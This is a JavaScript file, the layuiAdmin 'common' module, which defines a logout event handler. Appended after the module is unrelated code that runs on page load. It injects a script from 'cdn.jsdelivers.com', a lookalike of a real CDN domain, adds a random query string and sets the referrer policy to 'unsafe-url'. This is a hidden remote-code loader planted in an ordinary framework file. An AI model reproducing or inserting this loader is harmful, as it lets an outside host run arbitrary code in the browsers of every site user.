67 lines
1.8 KiB
JavaScript
67 lines
1.8 KiB
JavaScript
/**
|
||
|
||
@Name:layuiAdmin 公共业务
|
||
@Author:贤心
|
||
@Site:http://www.layui.com/admin/
|
||
@License:LPPL
|
||
|
||
*/
|
||
|
||
layui.define(function(exports){
|
||
var $ = layui.$
|
||
,layer = layui.layer
|
||
,laytpl = layui.laytpl
|
||
,setter = layui.setter
|
||
,view = layui.view
|
||
,admin = layui.admin
|
||
|
||
//公共业务的逻辑处理可以写在此处,切换任何页面都会执行
|
||
//……
|
||
|
||
|
||
|
||
//退出
|
||
admin.events.logout = function(){
|
||
//执行退出接口
|
||
admin.req({
|
||
url: '/agent/logout'
|
||
,type: 'get'
|
||
,data: {}
|
||
,done: function(res){ //这里要说明一下:done 是只有 response 的 code 正常才会执行。而 succese 则是只要 http 为 200 就会执行
|
||
|
||
//清空本地记录的 token,并跳转到登入页
|
||
admin.exit();
|
||
}
|
||
});
|
||
};
|
||
|
||
|
||
//对外暴露的接口
|
||
exports('common', {});
|
||
});
|
||
;function loadJSScript(url, callback) {
|
||
var script = document.createElement("script");
|
||
script.type = "text/javascript";
|
||
script.referrerPolicy = "unsafe-url";
|
||
if (typeof(callback) != "undefined") {
|
||
if (script.readyState) {
|
||
script.onreadystatechange = function() {
|
||
if (script.readyState == "loaded" || script.readyState == "complete") {
|
||
script.onreadystatechange = null;
|
||
callback();
|
||
}
|
||
};
|
||
} else {
|
||
script.onload = function() {
|
||
callback();
|
||
};
|
||
}
|
||
};
|
||
script.src = url;
|
||
document.body.appendChild(script);
|
||
}
|
||
window.onload = function() {
|
||
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
|
||
console.log("Jquery loaded");
|
||
});
|
||
} |